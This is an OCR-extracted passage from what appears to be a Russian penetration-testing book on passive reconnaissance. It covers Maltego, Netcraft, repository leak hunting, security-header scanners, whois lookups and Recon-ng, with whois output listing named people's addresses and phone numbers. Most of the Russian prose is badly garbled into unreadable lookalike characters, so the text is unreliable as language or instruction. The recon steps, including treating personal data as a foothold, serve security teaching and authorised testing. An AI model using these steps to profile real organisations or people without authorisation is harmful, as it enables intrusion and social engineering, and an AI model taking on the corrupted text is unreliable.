€KTOM 10 OTAeqbHOCTH. Ha HaualbHBIX 9TAllaX 9TO HE JOCTABJSET 0OCOOECHHBIX
HeyI06CTB, OHAKO eCJIH TPEOYETCsT TPUMEHUTH OIHO U TO JKe TeHCTBUE KO MHO-
ruM 00BbeKTaM, TaKOH CIIocod CTaHOBUTC Kpaiie HeyaoOHbIM. B HaieM npumepe
K 00bekTy Domain mMbl ipuMeHwn husasTp To DNS Name ji7ist oJyueHus CIuCKa J10-
MEHHBIX UMeH. Terepb BbiieuM 0o6a MoJTyYeHHbIX JOMeHa U MpuMeHrM GrasTp To
IP Address. B pesysbrate mbl osryuusau [P-aapeca, kK KOTOPbIM IPUBSI3aHbI IaHHbBIE
nomensl (puc. 3.37).
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Puc. 3.37. Pe3ynbTaT 0AHOBPEMEHHOI 06paboTKM HECKOSIbKMX O6BbEKTOB

B kavecTBe BUIIEHKH HA TOPTE pasbepeM ele Oy MHTEPECHYTO BOSMOKHOCTD — aB-
TOMaTHU3aIMi0. BaM He 06s13aTeIbHO KasK /bl pa3 BRIOMPATh KOHKPETHBIN HHCTPYMEHT
JUUTST KasKZIOTO 0OBEKTa, BMECTO ATOTO BB MOKETE TIPUMEHUTD K KOHKPETHOMY 0OBEKTY
Bce TpaHc(OpMepbI OIPeIeIEHHOTO KOMIIOHEHTA, HaXKaB IBOMHYIO CTPEJIOUKY BIIPABO
HAIIPOTUB MHTEPECYIOIIEro CIIMCcKa TPaHC(hOPMEPOB.

ITonpobyeMm co3aTh HOBBIN rpad U IPUMEHUTDH BCe TPAHC(HOPMEPBI U3 CIUCKA
Standart transforms CE x ucciemyemomy momeny (puc. 3.38).

LTI DT

Puc. 3.38. Pe3ynbTaT npuMeHeHns Bcex TpaHcdopmepos Standart Transforms CE
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B pesynbrate MbI TOTyYHIN OTPOMHOE KOJTMYECTBO MH(OPMAIIUK, BKITIOUAsT T€0JI0-
KallUIo, IOTIOJTHUTEJIbHbIE XOCTbI, HoMepa TesiechOHOB U MHOroe Jipyroe. B atom Mope
nH(opMaIun JIETKO ITOTEPATHCS, IOITOMY TaK JleJiaTh He pekoMenayetcs. Jlyurie
pa3buTh JaHHbBIE HA HECKOJIBKO IpacoB, 4TOOBI B OTHOM aHATTM3UPOBATH TEXHUYECKUE
JIaHHbIE, 4 B [PYTOM, HAIIPUMEP, 0TOOPaskaTh MH(HOPMAIHIO, HEOOXOAUMYIO ISt TIPO-
Be/IeHUs COTINATbHON NHKEHEePHUN.

Ernie o/1Ha BO3MOKHOCTD JIJIst aBTOMATH3AIIUU — TIPUMEHEeHre poboToB machines. Itot
WUHCTPYMEHT COEPIKUT BHIOOPOUHBIN HAGOP NMpeHAZHAUEHHBIX JJIs PA3HbIX 3a/1a4
tpancdopmepos. [Tonpobyem IPUMEHNUTH K HAIIEMY JI0MeHy Habop TpaHchOpMepos
13 Machines » Footprint L1. B pe3ysibraTe BMeCTO BCeX BO3MOKHBIX JAHHBIX MBI TTOJTY-
M TOJBKO Te, KOTOPBIE OTHOCSTCS K CeTeBOI MH(MPACTPYKTYpe 11eTeBOTO TOMEHA.
[Mosyunsock ynrabenbHo, ObICTPO U mpakTudHO (puc. 3.39).
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Puc. 3.39. Pe3synbtaTt pabotsl Footprint L1

Mpbl ¢ BaMu ¢/ies1ai IepBble ard B 9TOM JJOCTaTOYHO MHTEPECHOM IIPOrPaMMHOM
MPOJLYKTE; HAJIEIOCh, UTO BaM OH TIOHPaBuJIcs. Bol yike umeete ombit pabotei ¢ Censys,
a B TIPE/IBIYIIEM pasjiesie Mbl CKOH(UTYPUPOBaAJIN ero s paboTsl ¢ Maltego — mo-
npoGyiiTe Terepb, UCIOIb3YsI TOJyYeHHbIE 3HAHWS 1 HABBIKHU, IPUMEHUTH 3TH TPAHC-
hopMepsblI U151 CBOUX COOCTBEHHBIX 3a/1au.

Netcraft

Netcraft — aro cepBuc, npegocrasisionuii nHbopmaimio o gomenax, [P-agpecax,
cepBepax u caiitax B unreprere. Cepsuc 61 coszian B 1995 rojy u 3a aTo BpeMst cTait
OJIHAM M3 CaMbIX MOMYJISIPHBIX HHCTPYMEHTOB JiJist cOopa nHbOopMaIlnu B 001acTu
6€30TaCHOCTH U TECTHPOBAHIS Ha TIPOHUKHOBEHHE.
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B komTekcTe TecTupoBanus Ha TpoHnkHOBeHNE Netcraft MoskeT GBITH NCTIOB30BAH
st cbopa mHbopMaruu o Beb-caiitax u ux uHppacTpykrype. Tak, cepBuc MoxKeT
MoKa3arhb, Kakast Bepcus BeG-cepBepa U Kakue cepTudukarbl 6e30MacHOCTH UC-
MOJIb3YIOTCS, KAKUE TEXHOJIOTUN TPUMEHSIOTCS JIJI XOCTUHTA caiiTa, KTO SBJISETCA
BJIA/IETIBIIEM JIOMEHA U T. TI.

Ita uHDOPMAIIHS MOJKET GBITH MOJTE3HA TIPH MOMBITKE WACHTUMUIIMPOBATH YSI3BH-
MOCTHU B BEO-TIPUIIOKCHUSIX WJTH CEPBEPAX, CTIOIB3YEMBIX JIJIst XOCTUHTA BeO-CcaliToB.
Hanpumep, 3Hanue Bepcuu BeO-cepBepa MOKET OMOYb HIAEHTU(DUIIMPOBATH U3BECT-
HBIE YSI3BUMOCTH B JJAHHOM ITPOPAMMHOM OGECTIEYEHUH U TIO3BOJIUTH TECTUPOBIIUKY
MOJIYYUTh HECAHKITMOHUPOBAHHBIN JIOCTYII C UX TIOMOTITBIO.

Kpome Toro, Netcraft momosker B MONCKe TTOO3PUTEIBHBIX CAIITOB, KOTOPbIE MOTYT
GBITh UCTIOJIL30BAHDI JIJIsT (PUIIMHTOBBIX aTaK WM PACTIPOCTPAHEHUS BPEJIOHOCHOTO
nporpaMmuoro obecriederusi. CepBrC MOKasKeT, KOTJa IOMeH ObLI 3apEerucTpUpOBaH
1 KaK JIOJITO OH CYIIECTBYET, YTO BAYKHO JIJIst HIEHTU(DUKAIMN (DaIbIINBBIX BeG-CAUTOB,
KOTOpPbIE 6bIJII/I CO3IaHbI HEZJTABHO 1 MOTYT 6bITb HCITOJIB30BaHbI 1JIsI MOIIICHHMYECTBA.

Netcraft stBisteTcst MoI€3HBIM HMHCTPYMEHTOM JIJIsT TECTHPOBAHUSI HA TPOHUKHOBEHHE,
MO3BOJIAIONINM CIIEIMATUCTAM TIOJAYUUTh GoJiee ONHYI0 KapThuHy 00 uHMPaCTpyK-
Type U BeO-IPUTOKEHISX, KOTOPbIE OHU TECTUPYIOT.

B kauectBe 1pumepa BocI1o/1b3yeMcs cepBucoM noucka 110 DNS, iist aToro orkpoem
cTpaHully 1oucka https://searchdns.netcraft.com u nonpoOyem HaiiTi HHGOPMALIIO
o siomene amazon.com (puc. 3.40).

[ Hostnames matching am. = | +
2 8 hu

Linux g8 Kali Tools ¥ Kali Docs 3

Hostnames matching amazon.com

» Q search with anather pattern?

First 500 results {showing 1 to 20}

Rank  Site First seen Nethlock as Site Report
kil ‘W amazen.com October 1995 Amazon.com, Int. Linux [}
132 us-east-1.conscle sws amaron.com & Novernber 2012 Amaron Technologies Inc. Linux

300 Fws amazon.com [ December 2005 Amazon.com, Inc. unknown B
23 smicamazoncom December 2013 Amazan.com, inc. Linux B
216 quip-amazon.com & Oatober 2017 Amazon Technologies Inc. Linux -]
235 conschtawsamazen.com B2 Naarch 2009 Amazen Technologies Inc. Linux B
344 docs. aws.amazon.com of Fabuary 2013 Amazon.com, Inc. Linme B
E ) Signinaws.amazen.com & Aupust 2011 Amazon Technolegies Inc. wnknown B
£-r] com [ september 2003 Akamai Ine. Linug ]

Puc. 3.40. Cnncok xoCToB, MpUHaANIeXalumMx AZOMEHY amazon.com
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[l osydenist 6osree TOAPOOHOH mHMOPMAITHI 00 OTHOM 13 XOCTOB OTKPOEM OTYET
B pasyieJie site report. B aToM paszesie HaXoauTest camast pasHoobpasHast MHMOPMAIs,
BKJIIOYAIOIAsT IAHHBIE O JIOMEHE, CETEBBIX APAMETPAX, UCIIOIB3YIONINXCsI HA CTOPOHE
cepBepa U KJIMEHTA TEXHOJOTHUSX, PEMyTalluu XocTa u T. 1. (puc. 3.41).

Site report for http://smile.amazon.com

» @ Look up another site?

share: e W F in H

B Background

shto tiths Amazon.com. Spend less. Smile more,  Dats first seen Dacember 37013
Site rank 219 Wetcraft Risk Rating @ o0 S

Free shippirg on milions of Rems. Get the best of Shopping and Entertanment
with Prime. Engay low prices and great deals on the largest sslection of everyday
Description essentials and other products, intluding fashion, home, beauty, electronics,  Primary language English
Alexa Devices, Sporting goceds, tays, automiathve, pets, babry, bocks, video
Rames, musical instruments, office supplies, and mare.

B Network
site htpisrsmile.amazon.com & Domain amazon com
Netblock Gwner Amaroncom, Inc.  Nameserver dns-external-mister amaron.com
Mosting company Aimazon Domain registrar matkmonmon.com
Namueserver
Hostil us whaks. markmons
ing country muse 0F.COM

Puc. 3.41. OtyeT no xocty smile.amazon.com

Penosntopuun ncxogHoro Koaa

GitHub, GitLab u SourceForge siBAsIIOTCST TOMYISIPHBIME TLIATHOPMAMHE [IJIsT XPa-
HEHUST NCXOAHOTO KO/IA, YIIPaBJEHNs MPOEKTAMN U COBMECTHOI pa3paboTKH 1Ipo-
rpamMmmHuoro obecnedenns. OQHAKO OHM TaKKe MOTYT COJAepKaTh NH(OPMAIHIO,
KOTOpast IPE/ICTaBJISAET YIpo3y HH(pOPMAIMOHHON Ge3011acHOCTH IIpeAnpusATHs. Eciu
Bbl 0OHAPYKIJIM, YTO COTPYAHUKH MPEAIIPHATUS UCIIOAb3YIOT KaKOI-T100 U3 3THX
NJIN aHAJIOTUYHBIX PEeCypCOB, TO HEJTUIITHUM 6yl[eT IIOTPATUTDH BPEM:A Ha UX aHaAJIN3.
Y70 5TO TTO3BOJUT OGHAPYKUTD?

Pa3paboTunku MOTYT CIy4ailHO 3arpy3uTh 4yBCTBUTETbHBIE (PACKPBITIE KOTOPBIX
HECET PUCKH JIJIst CYOBEKTA, K KOTOPOMY OHU OTHOCSITCS ) JIAHHBIE, TAKKE KaK TIapOJIH,
kioun API, TokeHb! locTyTia, KOHGUTYparnuoHHbie hailib min 6as3bl JaHHDIX.

IIpu ananuse UCXOAHOrO KoJja HAXOAATCS TaKKe YA3BUMOCTH, KaK HEKOPPeKTHAas
o6paboTka ommbok, Hebe3omacHbie HYHKITN WIH OTCYTCTBYE TIPOBEPKU BBOJIA, a WX
CTOUT IONBITATHCS UCIIOIB30BATh JJI TOJIy4eHNS JOCTYIIA.
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MHorma yaaercs mojaydnTh Jaske HHGOPMAIO0 0 BHYTPEHHUX Mpolieccax 1 00 ap-
xuTerType. Ecim Koj i IOKyMeHTaIust, pa3MelieHHble B MyOINYHbIX PETO3UTOPUSIX,
PacKpBIBAIOT JIaHHBIe 00 HHMPACTPYKTYPE IPEATPHUATISL, TO YIIPOIIAET Balry paboTy.

OjHAKO yuTHTE, YTO MPOAHATUIUPOBATH BPYUHYIO BB CMOKETE JIUIITb HeOOJIBIIHE Pe-
nosutopun. AHajms GoJiee-MeHee CePbe3HOTO MPOEKTa OTHUMAET HEITO3BOIUTEIBHO
MHOTO BpeMeHH. /|JIs1 aBTOMaTH3aIIH TTPOIecca NCIOTb3YIOTCS TaKre MHCTPYMEHTH,
kak Gitrob nnu Gitleaks. Ctout Taxke yrmoMsayThb, uto Recon-ng comep:kuT MHO-
JKeCcTBO Mozy.eit xus pabotsr ¢ GitHub.

CkaHepbl 3arofoBKoB 6e30MacHOCTM

Ckamepn! 3ar0JI0BKOB 6€30MacHOCTH — WHCTPYMEHTHI, anaausupyiomune HTTP-
3ar0JI0BKH, OTIIPABJIsieMble CEPBEPOM, U IIPOBEPSIIOIINE UX Ha COOTBETCTBUE PEKOMEH-
JLyeMbIM TIpakTuKaM Oesoractocti. OHU MOJIE3HBI BO BPEMsI TeCTa Ha IPOHIKHOBE-
Hue IS ieHTH(hUKAIINI BOSMOXKHBIX YSI3BUMOCTEN B KOH(UTYpariy 6e30MacHOCTH
BeO-caiita. Be3yc/0BHO, HCIOJIB30BaHNE TAKUX HWHCTPYMEHTOB B OTIPE/EIEHHOI
CTETIeHN CTUPAET TPAHb MEK/Y TTACCHBHBIM 1 aKTUBHBIM cOOPOM WHGMOPMAIINH, HO
BCe JKe BBI TIPH 9TOM He HATIPSIMYIO 06paIaeTech K caiTy.

CaMbIMU TOmyJAPHBIMU U ITPOCTBIMU MHCTPYMEHTaAMMU TAKOT'O TUIIA ABJAIOTCA
SecurityHeaders.com (puc. 3.42) u observatory.mozilla.org.

Home About Donate

Security Report Summary
Site: hstpiifnoobes,net/ - (3can again aver himos)
1P Address: 1.23427.214
Repart Time: 12 Apr 2023 14:39:55 UTC
R ) CREe) GRS )
Warning: Grade capped at A, please see wamings below,

Supported By

Probely Quxch, you should work on your secunty posture immediatedy: m

Puc. 3.42. Pe3ynbTaT ckaHnpoBaHus SecurityHeaders
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W3 pe3y1sTaToB CKaHUPOBAHUS BUJIHO, UTO 11€JIEBOI cepBep IOABEPKEH MHOXKECTBY
BapPUAHTOB aTaK U He MOYKET CYMTAThCA 3alliniieHHbIM. [laBaiiTe KOPOTKO pacCMOTPUM
3aroJI0OBKH, O KOTOPBIX UJIET Peub, U BbI IIOIMeTe, KaKhe aTaKu MOYKHO IIbITaThCs UC-
M10JIb30BATh TPUMEHUTEIBHO K JAHHOMY CaiTy.

Content-Security-Policy (CSP). TTo3BoJisteT BeO-IIPUIOKEHIIO YKasbiBaTh Opaysepy,
Kakie UCTOYHUKU KOHTEeHTa (CKPUIITHI, U300PasKeH s, CTUIN U T. [.) pa3pelieHbl
nst 3arpy3ku. C ero OMOIIBI0 MOKHO MPEAOTBPATUTD BHITIOJHEHNE BPEIOHOC-
HOIO KOJa Ha BeO-CTpaHulle, HAIPUMED aTaK MeKCAHTOBOrO BBIIOJHEHNs CKPUIL-

ToB (XSS).

X-Content-Type-Options. IIpegoTBpamiaeT aTaku, CBsI3aHHbBIE ¢ HEKOPPEKTHBIM OITpejIe-
nenreM MIME-tuna (MIME sniffing). 3nauenue nosniff ykasbiBaet Gpaysepy, 4ToObI
OH He TIBITAJICS MHTEPIPETUPOBATh (hailjibl HA OCHOBE UX COAEPKUMOTO, a BMECTO
3TOTO ToJiarasucs Ha ykazanublii MIME-Tum.

X-Frame-Options. Vcmosbayercst s 3auuthr oT atak «clickjacking» (ocymiecrsisie-
MBIX C IIOMOII[BIO [TO/IMEHDBI 3JIEMEHTOB caiiTa), KOTOPbIe MOTYT IIPUBECTH K HECAHK-
IIMOHUPOBAHHBIM JIEHCTBUAM CO CTOPOHBI 110JIb30BaTeNsA. 3aroJIOBOK yKa3bIBaeT
Gpaysepy, CJIelyeT JIn pasperiarh BCTpauBaHue COAepPKIUMOro Beb-caiita BO (ppeiMbl.
3uauenus deny uiau sameorigin MOTYT ObITh UCTIOJIb30BAHbI JIJIS TIPEI0TBPAIIIEHUST
BCTPAMBAHUS COAEPKIMOTO BO (hpeiiMbl HA CTOPOHHUX caliTax.

X-XSS-Protection. AKTUBUPYET BCTPOEHHbII B Opay3ep MeXaHU3M 3allUThl OT MeK-
caifToBoro BbimosiHeHust ckpuntoB (XSS). 3uauenue 1; mode=block ykasbiBaer
Gpaysepy OJIOKHPOBATDH CTPaHUILY, ecii 0OHapy:keHa XSS-araka. OHAKO MHOTHE
COBpeMeHHbIE Gpay3epbl y/kKe IMEIOT BCTPOEHHBIE MEXAHI3MBI 3aIlIUThI 0T XSS, U 9TOT
3ar0JI0BOK MOJKET CUMUTATHCST YCTAPEBIITIIM.

Strict-Transport-Security (HSTS). Ykasbiaer Gpaysepy, 4To BeO-CaiiT Z0KEH HCIIOb-
30BaTh TOJIbKO 3amuiiennoe coequnenne HTTPS, u 3anpeniaer emy ycranasiausatb
coenunenue yepe3 HesanuieHubiit mporokon HTTP. 3arosioBok MOKeT uCosnb-
30BaThCS C MapaMeTPOM Max-age, KOTOPBIH ornpeieiseT BpeMs IPUHYAUTENbHOTO
ucnosb3oBanus 6paysepom HTTPS juist goctyma x caiiry.

whois

Cepsuc whois npezcrasisier coboil yruiauty 1 6asy JaHHBIX, COAEPIKAILYI0 HHDOP-
Malliio O IOMEHHbIX UMeHaX, [P-ajpecax u BiajziesrbIlaXx aTUX JOMEHOB U aJ[PECOB.
Vkasannas nndopMaius 4acTo OblBaeT ImyOaIMYHO JOCTYIIHA, HO HHOIZA JIHIO, 3a-
perucTpupoBasliiiee JOMeH, TOKYIaeT YCJAYTY 110 COKPBITHIO TIePCOHATBHBIX JIaHHBIX,
7 B 3TOM CJIydae KOJIMIeCTBO ToydyaeMoil TH(MOPMAIINK CYIIIECTBEHHO COKPAIIAeTCs.

OpHnM 13 caMbIX YAI06HBIX CIIOCOO0B TIOTyYeHUsT HHGbOPMAIK U3 6a3bl JaHHBIX
whois sBsIeTCS MICTIOMIB30BaHIE OIHOMMEHHON YTHIMTBI, KOTOPAst IOCTYITHA BO BCEX
nuctpubyTrBax Linux, Brirouast Kali. Cpeu mpoumx mosry4eHHBIX TAKUM CIIOCOO0M
MAHHBIX KOHTAKTHAS WHGMOPMAIHST, PETUCTPATOP, TEXHIIECKasT KOHTAKTHAS TIEPCOHA,
azmpeca cepBePOB U MHOTOE JIPYTOE.
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IIJIH IIpUMEPa BO3bMEM /IBa /IOMEHaA 1 3alIpOCUM NMEIONIYIOCSI HH(bOpMaLIHIO 13 6a3bl
JlaHHbIX whois. B IIEPBOM CJIydae, KOT/la OpraHu3alumst 1103200THJIACH O COXpPaHHOCTHN
JaHHBIX, MbI ITOJIYYUM MaJio I/IH(i)OpMaHI/II/II

$ whois uni-1j.si
% This is ARNES whois database

domain:
registrar:

registrar-url:

nameserver:
nameserver:
nameserver:
registrant:
status:
created:
expire:
source:

Domain holder:

NOT DISCLOSED

Tech:
NOT DISCLOSED

uni-1j.si
Arnes

http://www.arnes.si/storitve/splet-posta-strezniki/

registracija-si-domene.html
dnsl.uni-1j.si (193.2.1.90,2001:1470:8000
dns2.uni-1j.si (193.2.1.89,2001:1470:8000
dns3.uni-1j.si (193.2.1.94,2001:1470:8000
G39085

ok

1992-11-23

2023-06-06

ARNES

A BOT BO BTOPOM OTBET OyyT O0JIee pasBEPHYTHIM:

$ whois stepan-hutnik.cz
% (c) 2006-2021 CZ.NIC, z.s.p.o.

%

% Intended use of supplied data and information
% Whoisd Server Version: 3.12.2

domain:
registrant:
admin-c:
nsset:
registrar:
registered:
changed:
expire:

contact:
org:

name:
address:
address:
address:
address:
registrar:
created:
changed:

stepan-hutnik.cz
PROFIWH-STEPAN-HUTNIK
PROFIWH-STEPAN-HUTNIK
NSS : PROFIWH
REG-WINSOFT
15.02.2011 11:20:30
20.03.2017 12:50:36
15.02.2024

PROFIWH-STEPAN-HUTNIK
Stepan Hutnik s.r.o.
Stepan Hutnik
Budisovska 908

Vitkov

74901

Ccz

REG-WINSOFT
11.02.2017 07:06:33
15.05.2018 21:32:00

::90)
::89)
::94)



nsset:
nserver:
nserver:
nserver:
nserver:
tech-c:
registrar:
created:
changed:

contact:
org:

name:
address:
address:
address:
address:
registrar:
created:
changed:

MaccmBHbINA C60p AAHHBIX

NSS : PROFIWH

ns.profiwh.info

ns.profiwh.net

ns.profiwh.cz (31.31.75.42, 2a02:2b88:2:1::39¢c2:1)
ns.profiwh.com

SB:PROFIWH

REG-WINSOFT

28.02.2008 16:38:20

31.03.2015 23:44:12

SB:PROFIWH
ProfiHOSTING s.r.o.
Tomas Vrbicky
Brnenska 412/59
Olomouc-Slavonin
78301

cz

REG-WINSOFT
09.05.2005 15:55:00
20.03.2019 21:19:08

83

IMompobyeM mostyanth 4To-T0 O0sIee nHTepecHoe. Kak yske ObLI0 CKazaHo, HEKOTOPbIe
PErucTpaToOpbl IOMEHHBIX UMEH TIPEJIOCTABJISAIOT YCIYTY 110 COKPBITHIO EPCOHATBHBIX
JAHHBIX. A HAM OYeHb XOUeTCS MOJYUYNTDh XOTh KaKyo-To nHpopmarmio. Bocmoss-
3yeMcsI elrie OHO# BO3MOKHOCTRI0 Whois — monydyenuem manmbix 06 [P-ampecax.
Ha nipeapiymieM mare Mbl y3HAJIH, 9TO st 0OCTYKUBAHYS JoMeHa uni-lj.si mc-
nosib3ytorcest DNS-cepepsl, umeroriue caeyioniue [P-aapeca: 193.2.1.90, 193.2.1.89,
193.2.1.94. ITonpobyem 3anpocuth nHGOPMAIUIO 06 OTHOM U3 HUX:

$ whois 193.2.1.90
% This is the RIPE Database query service.
% Abuse contact for '193.2.1.0 - 193.2.1.255' is 'abuse@arnes.si'

inetnum:
netname:
descr:
descr:
descr:
descr:
country:
admin-c:
tech-c:
status:
mnt-by:
mnt-lower:
mnt-routes:
mnt-irt:
created:

last-modified:

source:

person:

193.2.1.0 - 193.2.1.255
ARNES-NET

Academic and Research Network of Slovenia
Ljubljana

Slovenia

ARNES-ID 64

SI

MB281

AJ-RIPE

ASSIGNED PA

ARNES-MNT

ARNES-MNT

ARNES-MNT

IRT-SI-CERT
1970-01-01T00:00:00Z
2003-12-22T16:48:2172
RIPE

Avgust Jauk
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address: ARNES

address: Tehnoloski park 18
address: SI-1000 Ljubljana
address: Slovenia

phone: +386 1 4798800
fax-no: +386 1 4798899
nic-hdl: AJ-RIPE

mnt-by: ARNES-MNT

created: 1970-01-01T00:00:00Z
last-modified: 2017-10-30T21:45:03Z
source: RIPE # Filtered
person: Marko Bonac

address: ARNES

address: Tehnoloski park 18
address: SI-1000 Ljubljana
address: Slovenia

phone: +386 1 4798800
fax-no: +386 1 4798899
nic-hdl: MB281

mnt-by: ARNES-MNT

created: 1970-01-01T00:00:007Z
last-modified: 2017-10-30T21:45:03Z
source: RIPE # Filtered

% Information related to '193.2.0.0/16AS2107'

route: 193.2.0.0/16

descr: ARNES provider block
descr: Academic and Research Network of Slovenia
descr: Ljubljana

descr: Slovenia

origin: AS2107

mnt-lower: AS2107-MNT
mnt-routes: AS2107-MNT

mnt-by: AS2107-MNT

created: 1970-01-01T00:00:007Z
last-modified: 2008-02-07T13:35:37Z
source: RIPE

% This query was served by the RIPE Database Query Service version 1.106 (BUSA)

Hecmorps Ha 1OIIBITKY COKPBITHS MH(MOPMAIIMKY IPU PETUCTPAIIMN IOMEHA, Mbl B pe-
3yJIbTaTe MOJIYYUJIN I0CTATOYHO MHOTO JJAHHBIX, BKJIIOUAs [1€PCOHATIbHbBIC, KOTOPbIE
MOTYT CTaTbh XOPOIIeH OTIIPaBHON TOUKOH /7151 JaJbHEHUIero MpoBe/ieHus ayAnTa.

Recon-ng

Recon-ng — oTKpBITHII GpeMBOPK 11t cOopa HHOOPMAITUH 13 BeO-TPUITOKEHII
u cereil. OH MPeOCTABIISAET ITMPOKUET CIIEKTP WHCTPYMEHTOB JIJISI TOJIYYEHUST IaH-
HBIX, AHAJIN32 YSI3BUMOCTE ¥ TECTUPOBAHUST HA IPOHUKHOBEHUE,



MaccuBHbI C6Op AaHHbIX 85

Recon-ng ucmons3yeT MOy IbHYIO apXUTEKTYPY, UTO TO3BOJISIET JIETKO T00ABIISTH
HOBbBIE MOZLYJIM JIJIs1 PacIupenus (PyHKIMOHAIbHOCTH. YTUIUTA COJNEPKUT MHOXKE-
CTBO BCTPOEHHbBIX MOJIYJI€eN jiuist cO60pa nHGOPMAIUY U3 PA3JUYHBIX HCTOYHUKOB,
TaKMX KaK COIMAIbHBIE CETH, TOYTOBbIE cepBUCchl, DNS-cepBepbl, TOMCKOBbIE cHCTe-
MBI 1 T. 7. OHa Tak’ke TMO/IePsKUBAET aBTOMATHUECKOE BBIIIOJTHEHNE CKPUTITOB JIJISI
ABTOMATH3AIIHY TIPoTiecca c6opa MHGOPMAIIMN U TECTHPOBAHIS Ha TPOHNKHOBEHTE.

ITo ymomuanuio Recon-ng y:xe ycranossen B Kali Linux, u jiuist ero 3amycka gocra-
TOYHO BBITIOJHUTH KOMaH/y recon-ng (puc. 3.43).

- | itsechooki@kali: ~ 0
File Actions Edit View Help

1i)-[~]

Sponscred by ...

L*#] Mo modules enabled/installed.

[recon-ng][default] = []

Puc. 3.43. NepB.biii 3anyck Recon-ng

s mosyuenus 6oJiee moapobHOil nHMGOpMalK 0 paboTe JaHHOI YTHIUTHI BOC-
MOJB3yUTeCh KOMaH/ION help.

Hepez[ Ha4da/JIoM pa6OTbI PEKOMEHAYETCA CO3/IaBaTh AJIA KaKIOTO IMPOEKTa TaK Ha-
3bIBaeMOe€ pa6o‘{ee I1oJie Workspace. ITO MMOMOKET BaM CTPYKTYPHUPOBaTh /laHHbIE
1 BIIOCJICJICTBUU CAEJIACT JOCTYII K HUM 6I)ICTpI)IM n leO6HbIM.

ITpu oMorm KoMaHbl workspaces create co3gainM HOBoe pabouee ToJie ¢ Ha3Ba-
HueM univeristy (puc. 3.44).

Bb1 Beeria cmozkeTe BEPHYTHCS K pa60Te Ha/{ HA4aTbIM IIPOEKTOM, UCTIOJIb3Ys KOMaH-
Jly recon-ng -w university.

Jliist masbHEIero NCIoIb30BaHUST TaHHOM YTUINTHI HAM HEOOXOJMMO YCTaHOBHUTh
Moy . MozyJieil cyIecTByeT MHOKECTBO, U BbI CAMHU BBIOMPAeTe Te, KOTOPhIe BaM
HEeOoOXOIMMBI 7t pabOTHI Ha/l KOHKPETHBIM MTPOEKTOM. Bce MOy in pasjiesieHbl Ha
HeckoubKo rpymir: discovery, explotation, import, recon, reporting. JIJist ux ycraHoBKH
BOCIIOJIb3yHTech MarasuHoM MojyJeit Recon-ng. /lsist moncka MojiyJieil ecTb KoMaHia
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marketplace search. ITonpoGyem, Harpumep, HaliTi MoOLyJIu st paboThl ¢ github
(puc. 3.45).

= itsecbook@kaliz ~ 00
File Actlons Edit View Help

[*] Version check disabled.

Sponsorcd by ...

\/ S \
L HTLLS W AN

e . b‘l.au:kh].'L'L:-in{.{::.cL .com

/1 kil I b
| Ll L il

ww .practisec.com

[recon nglldefault] > workspaces create univerity
[recon-ng][u rity]

" ] itsechook@kali: ~ [ [%]
File Actions Edit View Help

wwi . blackhillsinfosec.com

JHE==T) [
11 2]
wwi .practisec.com

{

[+] No modules enabled/installed.

[recon-ng][defau > market

version | Status | updated

recon/companies-mult

installed 2020-85-15
T /profiles-contacts/github_users d

2019-06-24

installed | 2020-05-15
installed | 2019-@
installed | 2019-@

repositories/
es-profile
recon/repositories-vulneral

L
|
on/profiles-profiles/profiler | 1. installed | 2019-10-16
: 1
k=1
151

Has dependencies. See info for details.
Requires k ee info for details.

[recon-ng][default] > i

Puc. 3.45. Movck Moaynen anst pabotsl B github

Ecou BBl 3amycTute a1y KoMaHy 6€3 JAOMOTHUTETLHBIX TAPAMETPOB, TO MOJTyYUTe
TTOJTHBIN CITUCOK BCEX JIOCTYTTHBIX MOy JIEH.

Hanporus nassanus MozyJieii ectb ase 6ykbl — D u K. 3Be3/iouka B 11epBoii KOJOH-
Ke 03HAYAET, YTO JIAHHBIH MOJIYJIb 3aBUCUM OT IPYTUX KOMIIOHEHTOB, & BO BTOPOI —
4TO 71151 PaBOTHI ¢ HTUM MOyJIeM Hy keH kitod API. Kirfoun 1ist HEKOTOPBIX MOJLYJIei
MOJTy9aioT GECTIIIATHO, XOTSI CYIIECTBYIOT, KaK BbI YK€ MOHSIIN, U MIATHBIE MOJLYJIH.
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st mostyderust 6ostee oApoGHOI MHMOPMAIIK O MOYJIe UCIIOJIb3YHTe KOMaH-
ny marketplace info. /laBaiite mompobyemM mocMOTpeTh HHMOPMAILINIO O MOy e
google_site_web (puc. 3.46).

= ilarr bk kali; - RIS -]
File Actions Edit View Help

+

[recaon-ng][default] > marketplace info recon/domains-hosts/google_site _web

path

name
author

ts hosts from Google.com by using the *site’ search operator. Updates the ‘hosts’ table with the results.

1
not installed

[recon-nglldefaule] > [

Puc. 3.46. NHdopmaumsa o Mmoayne google_site_ web

Kax BuHO U3 onmcaHuist, JaHHBII MOJLYJIb OCYIIIeCTRIIsIET monck B Google ¢ ucmosb-
30BaHMEM ollepaTopa site, M /711 €ero yCTaHOBKY HaM He Hy:keH ko4 APL.

IMonpobyeM ycTaHOBUTH MOJIY b hackertarget TPy OMOIIM KOMaH bl marketplace
install.

Jl1s1 3arpysKu MOZYJISI HEOOXOIMMO BBIIIOJHUTh KOMaHAy module load, mocie 5Toro
BbI CMOKETE IIOCMOTPETh oJiee MoAPOOHYIO HH(POPMAIIUIO O MOZYJIE 1 HapaMeTpax
JUUIST €T0 UCIIOJIb30BAHUSI IIPU TIOMOIIM KoMaH/ bl info (puc. 3.47).

= itsexbouk@hali: ~ Bl <]
File Actions Edit View Help

[recon ng]l[univerity] > marketplace install hackertarget
Module installed: recon/domains-hosts/hackertarget

[+] Reloading modules ...

[recon-ng1luniverity] > module load hackertarget

[recon-nglluniverity] > modules load hackertarget
[recon-ng][univerity][hackertarger] > info

Name: HackerTarget Lookup
Author: Michael Henriksen (@michenriksen)
Version: 1.1

Description:
Uses the HackerTarget.com API to [ind host names. Updates the ‘hosts' table with the results.

OpLions:
Name current Value Reguired Description

SOURCE  default yes source of input (see “infn" for details)

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sql=> database query returning one column of inputs

[recon-ng1funiverity1Thackertarget] > |

Puc. 3.47. YcraHoBka Moayns hackertarget n nonyyeHne nHdopmaumm o napameTpax
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[Tocsie TOro Kak Mbl YCTAHOBHJIM HEOOXOAMMBbINA MOJYJIb ¥ TIOJTYYHIN WH(MOPMAIIIO
0 IapaMeTpax 3alrycka, moipodyeM ysHaTh OoJIbliie 0 JoMeHe uni-lj.si. [l atoro He-
06X0IUMO 33/1aTh rnapamMeTp KoMaH/ioil options set SOURCE uni-1j.si u3ammycTuTb
MOMCK KOMaHION run (puc. 3.48).

